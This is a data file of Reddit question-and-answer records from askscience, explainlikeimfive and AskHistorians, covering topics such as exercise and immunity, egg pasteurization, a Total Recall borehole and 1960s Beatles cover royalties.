{"q_id": "23uckw", "title": "How and why is it that being physically fit can make you more resistant to colds or flus? Or is that idea a myth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23uckw/how_and_why_is_it_that_being_physically_fit_can/", "answers": {"a_id": ["ch0s6w5", "ch0ti2k", "ch0tzrm", "ch0u8ra", "ch0vrzu", "ch0vxw8", "ch0we53", "ch0wfhv", "ch0wp5i", "ch0y20d", "ch1b2l5", "ch1bv6e", "ch1d38r"], "score": [527, 104, 815, 17, 7, 6, 4, 6, 9, 17, 2, 4, 2], "text": ["This is just a reminder that all answers need to be supported by peer-reviewed scientific research. Anecdotes or speculative answers will be removed. Thank you!", "this [entry](_URL_0_) in the journal of applied physiology claims that intense acute exercise leads to an immediate period of increased risk of viral infection but leads to a decreased risk of chronic disease.", "To my knowledge, there is no scientific literature fully characterizing a biological mechanism underlying the correlation between physical fitness and disease resistance.  However, it should be noted that there exists a STRONG correlation between the two.  Simply because science has not explained something yet does not mean it is a myth.\n\n\nCheck out this entry from the [NIH's National Library of Medicine](_URL_0_).  It gives a very simple but accurate description of the current scientific perspective and speculates a few of the likely explanations.", "Here is a data point specifically counter to the hypothesis in the question.  The 1918 flu pandemic is notorious for its unusual, disproportionate impact on fit young adults: \"Modern analysis has shown the virus to be particularly deadly because it triggers a cytokine storm, which ravages the stronger immune system of young adults.\"\n_URL_0_\n\nWikipedia cites Barry, John M. (2004). The Great Influenza: The Epic Story of the Greatest Plague in History.  Barry also published \"The site of origin of the 1918 influenza pandemic and its public health implications\" in Journal of Translational Medicine, 2:3. 2004.", "For an excellent look at how high loads of training (both in overtrained athletes and non-overtrained athletes) can affect the immune system, I recommend this review article: _URL_4_  \n\nTo summarize:\n\n > Although high-performance athletes are generally not clinically immune deficient, there is evidence that several immune parameters are suppressed during prolonged periods of intense exercise training. These include decreases in neutrophil function, serum and salivary immunoglobulin concentrations and natural killer cell number and possibly cytotoxic activity in peripheral blood  \n\nAnother paper worth a look is this one: _URL_3_  \nWhich similarly concludes that,\n > Whereas immune cell number is generally normal during intense exercise training, recent evidence suggests that prolonged periods of intense training may lead to slight impairment in immune parameters such as neutrophil function, serum and mucosal immunoglobulin levels, plasma glutamine concentration, and possibly natural killer cell cytotoxic activity. In contrast. moderate exercise training has either no effect on, or may stimulate, these immune parameters.\n\nI'll leave the question of \"how\" exactly exercise stimulates or suppresses these specific functions to the immunology experts.\n\nA more concrete look at the effects of exercise volume and incidence of upper respiratory infection comes from this study: _URL_0_  \n\nWhich tracked 530 runners who kept a training log for a full year.  The incidence of upper respiratory infections was 1.2 per year, but this varied significantly.  Factors which increased the likelihood of getting sick include living alone, being male, having a BMI above the 75th percentile, and running more miles total.  \n\nFor the subjects in this study, those who averaged ~9-17 miles per week were at a lower risk for upper respiratory infections than those who averaged ~17-27 miles per week over the course of the year, as well as those who averaged 27 miles per week or more (though these last two categories were not different from each other).  As an interesting aside, alcohol consumption was positively associated with risk of URI in men, but negatively in women.  \n\nWe also know that extreme bouts of exercise, like running an ultramarathon ( > 26mi footrace), is highly likely to result in cold-like symptoms in the following weeks.  This study: _URL_1_ found that 68% of finishers of a 90km (56mi) ultramarathon in South Africa developed symptoms of an upper respiratory infection.  A vitamin C supplement decreased that incidence by about half, but there are good reasons not to recommend regular vitamin C supplementation in athletes.  \n\nSeventeen to twenty-seven miles a week or so is a very moderate volume of training in the running world, so it's unfortunate that there are (as of yet) not more studies on immune system function in athletes who are doing serious endurance training.  Many runners average more like 10-20 miles per *day* and their immune systems do not catastrophically fail.  \n\nEdit: Finally, to address the point of physical fitness making you more resistant to illness, I'd point to this study: _URL_2_ which found that upper respiratory illness was more common in both elite cyclists/triathletes and sedentary controls when compared to recreational cyclists/triathletes.\n\n\n\n\n", " > Or is that idea a myth?\n\nNot according to some research.\n\nHere is one that showed increased lymphocyte counts in relatively sedentary men after exercise:\n\n_URL_2_\n\nAnd another, though only the abstract:\n\n_URL_0_\n\nThe preceeding is interesting because it shows and initial rise and then drop, leading to clinical immune compromise rather than enhancement. \n\nAs for the \"why\" question, it's a complex subject, becuase the immune system and the functions of the immune system are extremely complex and some aspects are poorly understood. This article delves into some of the potential reasons, and it basically boils down to chronic inflammatory effects being caused by adipose tissue and other conditions that may be present in less fit individuals:\n\n_URL_1_\n\n", "[Walsh](_URL_1_) has a great review detailing the effect of exercise on immune function. In a nutshell, prolonged, intense exercise can increase susceptibility to common colds through the attenuation of immune variables (SIgA, T/B-cell, NK cells), and also by increasing stress hormone responses (e.g cortisol).\n\nConversely, moderate exercise can reduce the susceptibility to colds/flu [source](_URL_0_). The primary reason for this observation appears to be attributed too greater immunosurveillance from an increased number of WBC's circulating in the blood. Additionally, increases of the protein secretory IgA in saliva may play a role.", "To best answer this question ask an immunologist... They will tell you it's actually a mixed answer which is dependent on the specific pathogens causing the flu symptoms and the state of the individuals immune system, and previous exposures. People with 'normal', non-compromised immune systems have the ability to more readily recognize antigens, and \"fight\" them. Current literature provides us with the classification of two major branches of the immune system - the innate and adaptive. The adaptive is further broken down into cell-mediated, or humoral pathways. Your innate immune system encompasses immune cells with pathogen recognition receptors (PRRs) (often toll-like receptors - for the molecular biologists or biochemists) that bind pathogen associated molecular patterns (PAMPs). The innate system is your bodies first response that does not act on a specific antigen. The innate response is the same every time and immediate (remember that). Your adaptive immune system takes more time to mount a SPECIFIC response. This lag occurs because T and B cells which are major players in the adaptive response do not recognize PAMPs. Instead antigen presenting cells (APCs) (professional APCs - dendritic cells, macrophages, and phagocytes), must engulf and process pathogens which they present on cell surface molecules. These processed antigens are recognized by T and B cells (if they have the correct MHC (major histocompatibility complexes) (MHC class recognition and the other signalled between T\\B cells and APCs is well beyond the scope of my explanation... But I would be happy to get into a more in depth scientific talk about it)... There are about 5 known subtypes of T cells that have different roles in the immune system... Mature Cytotoxic T cells(CD8+) recognize MHC class I and kill cells expressing antigen. Mature helper T cells (CD4+) recognize MHC class two, but do not directly kill cells as to CD8+ T cells (this is basically the cell-mediated branch of the adaptive immune system)... The humoral branch involves Mature B cells which do not directly kill cells, but instead release specific antibodies (IgM, D, G, E or A) that may opsonize, induce complement, or neutralize an antigen. Most cells of the adaptive immune system also release cytokines (previously known as interleukins as they were thought to only signal between leukocytes/WBCs.. However, cytokines may act on other non-leuckocytic tissue). These release of cytokines may cause inhibitory or excitatory response in target cells. A Cytokine storm describes the release of tooooo many cytokines that act to inflate the immune response so much that healthy tissue is damaged! These storms do not occur in compromised immune systems, but rather in healthy individuals with a healthy immune system that responds too strongly to a specific antigen (not to be confused with a hypersensitivity reaction!!!!!). This is he reason why the bird flu in the early 1900's killed sooo many young, healthy people - a cytokine storm. Soo.. So no, not every time will a healthy immune system fight a flu/ pathogen more effectively... But, in general terms, a healthy immune system is better equipped to combat antigens than one which is compromised... I would also like to address a previous comment that caught my eye \"lymphoid fluid moves faster in a healthy individual\"... Lymph does NOT move on it's own - there is no pump like the heart within circulatory system !!! The movement of lymp is controlled by the contraction of muscles which surround the lymp. So when you move more, and contract/relax muscles - lymp is squeezed through your body. This is why it is suggested to do light physical activity if you have a minor cold/flu... However, when illnesses are tooo severe it is not recommended to exercise and waste energy stores that may be used by he immune system to fight infection, on protein synthesis (muscle building). Our current knowledge of the immune system is always growing and there are always exceptions to the \"rules\". I tried to touch on some basic aspects that might help OPs question. This is my first reddit post - be kind :).\n\nMy source is KINDT et al., (2008). Kuby Immunology (textbook). \n\n\n", "Well, I work in a psychoneuroimmunology lab at Rutgers University, and this is an excerpt from my literature review that I wrote prior to starting the study we're currently working on that may shed some light on your question:\n\nThe immune system is a diffuse collection of specialized cells that function to protect the body (the host) from infection caused by foreign (or nonself) microorganisms, such as bacteria and viruses. In order for the immune system to work efficiently, it relies heavily on immune messengers \u2013 primarily cytokines, which are small inflammatory proteins secreted by immune cells, present during sickness as well as health. Different cytokines activate different responses in a variety of immune cells (such as microglial cells, which exist only in the brain, as well as T cells, which are present throughout the body)  and are essential messengers in the central nervous system, aiding in cellular communication but also acting as regulatory molecules. These cytokines induce what is called sickness behavior, which are physiological symptoms believed to support the immune response and conserve energy. Sickness behavior includes weakness, decreased motor and gustatory activity, anhedonia, and general malaise that goes along with the depressive effect exhibited in the central nervous system when an organism is ill. However, not all illnesses cause sickness behavior; its exhibition primarily depends on what types of immune cells become activated. This key difference was discovered in 2006 by Ziv, et al., when they decided to place adult rats in an enriched environment \u2013 that is, an environment with a running wheel \u2013 and, after one week of training, removed their brains and performed immunohistochemistry to examine the hippoocampus via BrdU (5-bromodeoxyuridine) injections that mark new cells in the brain, the neuronal marker NeuN, and the microglial cell marker IB-4. They observed the expected increase (due to the firmly established link between neurogenesis and exercise) of newly formed neurons by the overlapping colors of BrdU and NeuN, but also found an intriguing recruitment of microglial cells shown by the coinciding markers of BrdU and IB-4. This specific type of microglial cell is primed with the T-helper cell type, which, through their specific purpose of aiding T-cells, have neuroprotective qualities. This startling discovery led to the possibility that perhaps while normal microglial cell activation causes sickness behavior and thus decreased learning and memory capacity, microglial cells that induce T-cell activation and continue to aid those immunomessengers may actually enhance neurogenesis and novel neuron survival. \n\nWe took this research in a different direction in our lab, as we're currently studying immune system activation and spatial learning tasks, not necessarily exercise, but the increased presence after exercise of these helpful immunomessengers that by definition fight off infection seems to me to indicate a possibility of physically fit people having a larger amount of them consistently active in their body and thus the immune system boost. \n\nSources: \nKusnecov, A. W. (2001). \u201cBehavior conditioning of the immune system. \u201c Health psychology, LEA, New Jersey. (this is a textbook, I can't link it)\n\nZiv, Y. et al. (2006) Immune cells contribute to the maintenance of neurogenesis and spatial learning abilities in adulthood. Nature Neurosci. 9, 268\u2013275. Read the abstract [here](_URL_0_). \n\n", "I worked in a lab researching the effects of pulsatile (~exercising) versus oscillatory (~resting) flow on endothelial cells in the circulatory system during undergrad. The paper [here](_URL_0_) shows that certain types of flow can regulate NADPH and that has downstream effects on inflammation, LDL, and all sorts of other biologic-y things that I'm no longer an expert in. Inflammation being a heavily correlated symptom/predictor of general unhealthyness suggests that this might be a pathway that exercise can affect the immune system.\n\nAnd keep in mind that this flow mechanism is only one of many effects that exercise has on the body.", "There is a point at which the opposite effect will occur, meaning that a persons level of physical fitness is such that they are actually compromising their immune system. Over exertion coupled with low body fat will have an adverse effect. \n\n_URL_0_\n\n", "Former clinical exercise physiology teaching fellow here. There are many documented correlations between cardiovascular fitness and infection susceptibility, but we still lack strong evidence demonstrating cause and effect. The concept is often referenced as the \"J Curve\", and it represents exercise induced immune effects. Individuals who are \"moderately\" active experience a lower incidence of URTI than sedentary or extreme athletes. The common consensus is that moderate levels of exercise increase the release of cytokines, stress reducing hormones, and produce systemic hemodynamic effects (improved cell distribution). The lymphatic system also plays a large role here. From a physiology perspective, it's seems intuitive to me that being physically fit can improve your immune function, as the effects are systemic and improve circulation, strength, metabolism, and numerous other systems. Your body is literally designed to be in motion. \nYou can find a lot of great articles on google scholarly search. Here is one,\n[Exercise and Immune Function](_URL_0_)", "Physical exercise influences several gasotransmitters including nitric oxide.\n\nNitric oxide has very direct actions on immune function and inflammation.\n\nNitric oxide has very direct actions on gut microbiota and the gastric immune system.\n\n\nThere are a lot of influential factors. Endorphins, blood circulation, sweating. If its social exercise you can expect increases in seratonin and opiods etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://jap.physiology.org/content/103/2/693"], ["http://www.nlm.nih.gov/medlineplus/ency/article/007165.htm"], ["http://en.wikipedia.org/wiki/1918_flu_pandemic#Patterns_of_fatality"], ["http://www.ncbi.nlm.nih.gov/pubmed/2017010", "http://www.ncbi.nlm.nih.gov/pubmed/8185726", "http://www.ncbi.nlm.nih.gov/pubmed/17414793", "http://www.ncbi.nlm.nih.gov/pubmed/10910293", "http://www.nature.com/icb/journal/v78/n5/abs/icb200070a.html"], ["http://www.ncbi.nlm.nih.gov/pubmed/8550256", "http://scholar.google.com/scholar_url?hl=en&amp;q=http://www.researchgate.net/publication/24355072_Exercise_inflammation_and_innate_immunity/file/5046352331de4b11d0.pdf&amp;sa=X&amp;scisig=AAGBfm1V1HfsMih35zrJQXD-TlSR-8F3Qw&amp;oi=scholarr", "http://www.scielo.br/pdf/spmj/v121n1/16127.pdf"], ["http://www.ncbi.nlm.nih.gov/pubmed/12165677", "http://www.ncbi.nlm.nih.gov/pubmed/21446352"], [], ["http://www.nature.com/neuro/journal/v9/n2/abs/nn1629.html"], ["http://circres.ahajournals.org/content/93/12/1225.short"], ["http://www.buffalo.edu/news/releases/1999/05/2753.html"], ["http://link.springer.com/article/10.2165/00007256-199927020-00001"], []]}
{"q_id": "c46f3y", "title": "- why, after rubbing your eyes, it takes a few seconds for your vision to return but not when you hold them closed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c46f3y/eli5_why_after_rubbing_your_eyes_it_takes_a_few/", "answers": {"a_id": ["erv2ifs", "erveh8p", "ervhiu4", "ervmcsh"], "score": [253, 14, 13, 11], "text": ["If you rub too hard, you can disrupt the tear film that covers your eyes. Your eyes work the best when there is a uniform coating of tears over it. When the film gets displaced by rubbing, things will look blurry until you blink a few times to restore the tear film. People with dry eye have a hard time restoring their tear films.\n\nAlso if you rub really hard, you can cause pressure changes within the fluid in the eye. This can cause misfires in the light sensitive cells of your eyes which can take a few seconds or longer for your vision to return to a normal state. Make sure you are not rubbing this hard since it can cause permanent damage to your eye sight. Glaucoma, an eye disease that causes blindness, can be caused by too much eye pressure over long periods of time.", "A side note about this effect. A lot of famous artists used to draw the shapes and figures that\u2019d see when doing this. I believe Leonardo da Vinci, and Salvador Dali", "Don't rub! You can damage your eyes. Ask me how I know. If you have hay fever just carry eye drops and get pretty instant relief!", "Tears and uniformity is not correct answer, the truth is your eyeballs are made of strong collagens and tissue but it is not like glass or something, when you rub them hard you actually make horizontal diameter (distance between your iris and the retina \\[which the light is focused\\]) shorter. So the focused image is forming behind the retina, you effectively make yourself hypertrophy for a couple seconds until your eyeballs kinda like reshape itself like a tennis ball. That isnt the case you tightly close your eyes, because no matter how hard you close your eyes, it wont apply force to your eyeballs towards iris/retina and thus wont \"squeeze\" it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1lqicn", "title": "My liquid egg whites says it's pasteurized. How do they do that without scrambling the protein?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lqicn/my_liquid_egg_whites_says_its_pasteurized_how_do/", "answers": {"a_id": ["cc1t37q", "cc1xh0r"], "score": [4, 10], "text": ["Eggs go from liquid to solid because their proteins have been altered so much that they can't go back to their natural state, also called denaturation.  When pasteurizing an egg you heat it to just below the temperature that would denature the protein.  ", "For liquid products, it's possible to heat the egg to a point where most microbes are killed, but the egg proteins won't sufficiently denature.  Milk faces a similar difficulty, where heating it for prolonged periods will cause it to curdle.  Most milk is HTST (high-temp short time) pasteurized, where there's insufficient time for the curdling process to take place.\n\nIt's also possible to pasteurize in-shell eggs.  From [Wikipedia](_URL_0_):\n\n >  Pasteurizing eggs in their shells is achieved through a patented process that involves treatment with ozone and reactive oxygen species under high and low pressures, followed by replacement with an inert gas, such as nitrogen.[7] According to the U.S. Department of Agriculture, \u201cShell eggs can be pasteurized by a processor if FDA accepted the process for the destruction of Salmonella. Pasteurized shell eggs are now available at some grocery stores. Like all eggs, they must be kept refrigerated to retain quality. The equipment to pasteurize shell eggs isn't available for home use, and it is very difficult to pasteurize shell eggs at home without cooking the contents of the egg. \u201d[3]\n\n >  After pasteurization, the eggs are coated with food-grade wax to maintain freshness and prevent environmental contamination and stamped with a red \"P\" in a circle to distinguish them from unpasteurized eggs.[9]\n\nBasically, the term pasteurization is broader than simple heating.  It refers to any method that significantly reduces pathogenic microbes.  Pasteurization is pretty interesting, from it's origins with wine and beer, to the different methods developed for milk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Pasteurized_eggs"]]}
{"q_id": "4me9xl", "title": "why can't water become a crystal under pressure?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4me9xl/eli5_why_cant_water_become_a_crystal_under/", "answers": {"a_id": ["d3usjxk", "d3v7aix"], "score": [23, 5], "text": ["Water *can* be crystallized under sufficient pressure. If you check out a [phase diagram](_URL_0_) for water you'll see that, at a given temperature, a sufficient increase in pressure will cause it to crystallize.", "To explain a way to compress water would exceed the boundaries of 'Explain It Like I'm 5'.  Therefore, and for all practical purposes, water is incompressible. \n\n > Water is essentially incompressible, especially under normal conditions. If you fill a sandwich bag with water and put a straw into it, when you squeeze the baggie the water won't compress, but rather will shoot out the straw. If the water compressed, it wouldn't \"push back\" out of the straw. Incompressibility is a common property of liquids, but water is especially incompressible.\n\n > Water's lack of compressibility helps to push water out of water hoses (handy for putting out fires), water pistols (handy for bothering Dad), and in artistic water fountains (handy for relaxing). In these instances, some pressure is applied to a container full of water and rather than compress, it comes shooting out of an opening, such as the end of the hose or the end of a small pipe, as in this fountain. If water was highly compressible, it would be harder to create enough pressure for water to shoot out of the nearest opening.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/0/08/Phase_diagram_of_water.svg/700px-Phase_diagram_of_water.svg.png"], ["http://water.usgs.gov/edu/compressibility.html"]]}
{"q_id": "12kh5g", "title": "What would be the effects of \"The Fall\" from the Total Recall remake", "selftext": "I watched the rather weak Total Recall remake last light. I was very distracted for the first third or so by the ludicrous idea of the fall. Basically, there's a borehole through the planet connecting London and some vague point in Australia. It's a couple hundred feet wide, and is still in a solid medium when it reaches the midpoint. The zero-g effect when they reach that midpoint would seem to imply that the filmmakers were intending that the tunnel actually goes through the core, but lets assume that it's actually curving to remain in the mantle and the filmmakers know even less science than they thought they do.\n\n- Would boring through the mantle even be possible?\n\n- How deep would such a borehole be able to pass into the earth while staying in the mantle?\n\n- Could such a borehole be close enough to vertical to allow the use of gravity to accelerate the vehicle in the first place?\n\n- What would the air pressure wind up being like in the middle of that borehole, and what effect might that have on the vehicle trying to \"fall\" through the middle of it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12kh5g/what_would_be_the_effects_of_the_fall_from_the/", "answers": {"a_id": ["c6vtwan", "c6vtysc", "c6w68bw"], "score": [18, 15, 2], "text": ["I'm afraid I can't answer most of those questions, but [QI covered this a little bit](_URL_0_). If you drilled a hole through the Earth from any point to any other point, it would take 42 minutes and 12 seconds to fall through it, assuming no air resistance/friction.", " > Would boring through the mantle even be possible? \n\nNo. The deepest we've ever drilled is a 6\" hole 12 kilometers, and by that point it was getting so hot that it was destroying the drilling bits. \n\n > How deep would such a borehole be able to pass into the earth while staying in the mantle? \n\nThe mantle is ~2850 kilometers thick and gets more and more ductile as you reach the D'' or the core mantle interface. You can't keep a hole open due to the pressure and plasticity of the mantle. \n\nYou can accelerate a vehicle down a borehole if you neglect the increasing pressure and air resistance, sure.\n\n", "The mantle does not remain completely still either. The hole they were passing through was about the width of a skyscraper, but that means that any movement of the mantle would destroy the borehole and cause a dead end.\n\nAnd of course, the core is likely to be molten as you said.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=DcIh180wsjY&amp;feature=player_detailpage#t=134s"], [], []]}
{"q_id": "1j75wq", "title": "what will become of any openly gay olympic athletes in the 2014 russian winter olympics?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j75wq/eli5_what_will_become_of_any_openly_gay_olympic/", "answers": {"a_id": ["cbbsy8t", "cbbt0m7", "cbbt76k", "cbbt7wb", "cbbtmoz", "cbbudxd"], "score": [3, 12, 109, 3, 62, 2], "text": ["Im thinking that probably security will be tightened in fear of protesters, but Russia would essentially be declaring war if the state harmed the athletes.", "I don't think Russia will want to risk causing such a visible international incident by targeting or somehow excluding openly gay athletes.  Depending on what such an action was, it could lead to significant backlash among multiple nations, ultimately hurting economic relations for Russian.\n\nWith foresight, they would warn such athletes to not leave the Olympic Village (while keeping a solid guard on the village) as there have been several instances of homosexual-hating groups and individuals taking matters into their own hands.  One of them murders an athlete and again it's bad mojo for Mother Russia.", "I don't want to undercut your question, but considering the amount of speculation and guessing necessary, I don't think this is a good submission for ELI5.", "Ideally all moral nations would boycott on behalf of the gay athletes and the LGBTI community in their country. ", "It will likely be parallel to the 1936 Summer Olympics in Berlin where despite Hitler's stance on homosexuals, gypsies, Jews, blacks they were still permitted to play due to international pressure, boycotts, and Avery Brundage dropping this bomb -\n\n\"politics has no place in sport\"\n\nMaybe there will be some discrimination, but the homosexual athletes will likely play anyway because the time they've invested in preparation (hint: a lot).", "Even if the supposed athlete is openly gay nothing will happen, because being gay is not illegal in Russia. If the athlete will come out with a gay flag and start using Olympics as a political platform problems can arise because there is a law prohibiting propaganda of gay life among children and children can be watching Olympics"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "99dhas", "title": "If your song was covered by The Beatles in the early 1960s, would you make much money? How did music copyright work around then?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/99dhas/if_your_song_was_covered_by_the_beatles_in_the/", "answers": {"a_id": ["e4mrl01"], "score": [19], "text": ["In the 1960s (and today) songwriters receive a small amount of money for every record sale, something called 'mechanical royalties', to compensate them for the use of their songs. In the 1963-1965 period, [according to *Billboard*](_URL_1_), the standard rate in the US was 2 cents per track used, though there was discussion of increasing this to a (whopping) 3 cents per track in the linked article. In the UK, until the end of the 1960s, [the standard rate was 1.5 pence per side](_URL_2_) (e.g., for every song you had on a disc). Generally, the expectation is that the mechanical royalty amounts to something like 5-10% of the sale price, depending on the time period and location.\n\nOf course, mechanical royalties are paid not straight to the songwriters themselves, but instead are paid to publishing companies. The Beatles themselves had a publishing company, Northern Songs, which (according to Mark Lewisohn's *Tune In*) they started with the publisher Dick James, who had a 50% stake in the company, while Lennon had a 20% stake, McCartney had a 20% stake and their manager Brian Epstein had a 10% stake. So *Northern Songs* would receive this 2 cents per track, as administered in a territory by a publishing rights organisation (e.g., BMI or ASCAP in the USA, or APRA-AMCOS in Australia), and would distribute it between the company and the songwriter in a particular way; in the end the rights to the Northern Songs catalogue was famously sold to Michael Jackson, at one stage in the 1980s. Nonetheless, McCartney and Lennon (or his heirs) would continue to receive songwriter royalties that had been negotiated with Northern Songs' owners. \n\nThree of the covers on *With The Beatles*, for example, were covers of songs from Motown Records: 'You Really Got A Hold On Me' (originally by Smokey Robinson  &  The Miracles), 'Please Mr. Postman' (originally by The Marvelettes) and 'Money (That\u2019s What I Want)\u2019 (originally by Barrett Strong, and coincidentally written by Motown founder Berry Gordy). Berry Gordy, before he started Motown, had written songs for the likes of Jackie Wilson in the late 1950s - he wrote 'Lonely Teardrops' - and so he had a pretty good idea of how music publishing worked, and so he kept Motown's music publishing in-house (Motown's Fordist production-line philosophy necessitated this - everything was in-house at Motown), starting a music publishing company called Jobete.\n\nAccording to the book *Motown: The Sound Of Young America* by Adam White and Barney Ales (2016), Beatles manager Brian Epstein and Berry Gordy:\n\n > traded with each other at least once, when Epstein's firm asked Gordy to reduce the US publishing royalty rate on the three Jobete songs recorded by the Beatles. Ales and Loucye Wakefield approved of the discount, and eventually Gordy agreed. Even with the rate reduction, the result was at worth at least $15,000 to the Jobete coffers in the first year.\n\nRemember that to make $15,000 on the publishing of three songs, at ~6 cents an album sold (2 cents for each song), you have to sell 250,000 copies of the album - a sizeable amount in those days. Presumably if the Beatles got the Jobete songs for half-price, for example, that was 500,000 copies.  for Jobete, this was a sizeable income stream, and presumably if they'd said no to the Beatles, they might have recorded different songs - basically, the Beatles had come to them and said, \"hey, want $15,000 for nothing? I mean, you're probably entitled to $30,000 for nothing, but if you want that we'll just cover something else.\"\n\nBroadly speaking, Motown seemed very pleased to have the support of The Beatles, even at a discount - and the Beatles did support them and played a major role in promoting Motown in the UK. The White  &  Ales book the quote above is from is very much an official Motown coffee table book production kinda thing - I mean, co-author Barney Ales had been Executive Vice President and President of the company at different points (so when the quoted text above mentions 'Ales'...it's kind of weird that one of the authors of the book is mentioned in the third person). But I digress; when I looked at the index to the White  &  Ales book to try and find the anecdote about the *With The Beatles* publishing, there were 9 separate references to Epstein, showing the extent to which Motown are at least now happy to be associated with the Beatles.\n\nAnyway, Berry Gordy would have said yes to the discount on the royalty rate partly because he wanted to cultivate that relationship and exploit it, and partly because $15,000 for nothing. In the first year alone. The Supremes in 1964 recorded the album *A Bit Of Liverpool*, on which Lennon and McCartney would likely have made 10 cents for each copy of the album sold (as they covered 'You Can't Do That', 'I Want To Hold Your Hand', 'World Without Love' which was written by Lennon/McCartney but recorded by Peter  &  Gordon, 'Can't Buy Me Love', and 'Hard Days Night' - sneakily enough, the Supremes also covered 'You Really Got A Hold On Me' and 'Do You Love Me', Motown tracks which had been covered by the Beatles and the Tremeloes, respectively - so those 4 cents stayed in-house). The White and Ales book interprets that album as being a bit of a thank you or a quid pro quo to the Beatles. And hey, it was 1964, the year when [a novelty song like 'We Love You Beatles' by The Carefrees](_URL_0_) actually hit the top 40 of the US singles charts. And, well, *A Bit Of Liverpool* didn't do too badly for an album by a famously singles-oriented operation, which didn't have any hit Supremes singles on it, hitting #21 in the charts according to Wikipedia, at least."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=bPQ8P2QZvKg", "https://books.google.com.au/books?id=TCkEAAAAMBAJ&amp;pg=PA58&amp;lpg=PA58&amp;dq=mechanical+royalties+1960s&amp;source=bl&amp;ots=E1ZxD_bNFU&amp;sig=Yze2TG4WMfI2aomaVH8Ylf15-JE&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwjn5I3E2oDdAhVCUN4KHfbZBSsQ6AEwC3oECAcQAQ#v=onepage&amp;q=mechanical%20royalties%201960s&amp;f=false", "https://books.google.com.au/books?id=0tz5YpijuksC&amp;pg=PA639&amp;lpg=PA639&amp;dq=mechanical+royalties+britain+1960s+music&amp;source=bl&amp;ots=K_19a5XMyS&amp;sig=j6U1Blcrq8TRy-J-iKVg7HIOAao&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwi775bK24DdAhUPA4gKHfw1AmQQ6AEwCXoECAEQAQ#v=onepage&amp;q=mechanical%20royalties%20britain%201960s%20music&amp;f=false"]]}
{"q_id": "21pk7q", "title": "Can you help me with the 1800s in regards to foreign affairs?", "selftext": "So I'm in an experimental class which has a really big impact on my future. We have to write blog posts analyzing cited information that has to do with certain time periods and topics. My topic is Foreign Affairs, and I am unable to find anything my teacher finds \"Worthy.\" I really, really need help. Last week I made a 60 for a quiz grade by writing about the effects the Louisiana purchase had on American foreign affairs because it wasn't \"quirky\" or \"Interesting\" enough.\n\nSo my question, ***Do you know of any interesting documents that I could use for the 1800s in regards to foreign affairs?*** I would appreciate it.\n\nI was initially going to write about how treaties tended to have secret tag-along treaties, but wasn't able to find any usable information because I couldn't find anything to cite.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/21pk7q/can_you_help_me_with_the_1800s_in_regards_to/", "answers": {"a_id": ["cgfgbiy"], "score": [4], "text": ["The *Trent* Affair!\n\nThis is one of my favorite topics, actually.\n\nSo basically during the Civil War, the Confederacy tries to send representatives, Mason and Slidell, to Britain and France as diplomats. But before they can make it there on a British mail ship, *Trent*, Capt. Charles Wilkes (a craaaazy dude) of the Union Navy decides he is going to take the *Trent* and arrest Mason and Slidell.\n\nThe events that followed created an international crisis where the Union almost had to go to war with Britain as well as the Confederacy. There were many many tense months where no one was quite sure what would happen.\n\nThis should be a great topic for you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4mkg3k", "title": "when technology advances to the point where it can do anything a human can, but better and cheaper, how will humans earn money?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mkg3k/eli5_when_technology_advances_to_the_point_where/", "answers": {"a_id": ["d3w5luh", "d3w5xsp"], "score": [2, 2], "text": ["And that is a completely valid point, and a problem that we will have to solve at some point. Most of us will not earn money, that is the problem, we are going to somehow have to solve this, most likely involving the disassembly of capitalism.", "Nobody knows for sure, experts disagree on what will happen and what should happen.\n\nWhat we do know for sure is what has happened historically.\n\nThe last two hundred years of technology has allowed the world's farms to produce more food than ever with only 10% of the total labor. Just a hundred years ago, being a farmer was one of the most common occupations. Now there are very few farmers needed.\n\nBut what's happened since then - are all those people unemployed? No, the employment level is *higher* than it ever has been in history (since so many women work, too) and most people are doing jobs that didn't exist 50 or 100 years ago.\n\nSo most people believe that to some extent, that's what will happen in the future, too. Machines will take over a lot of jobs done by people now, but people will start doing new things with their time and finding creative ways to make money.\n\nHowever, it's also possible that there will be less need to work. Proposals like \"basic income\" are one possibility to ensure everyone has a chance to have their basic needs met even if they can't work. However, it's still pretty controversial.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
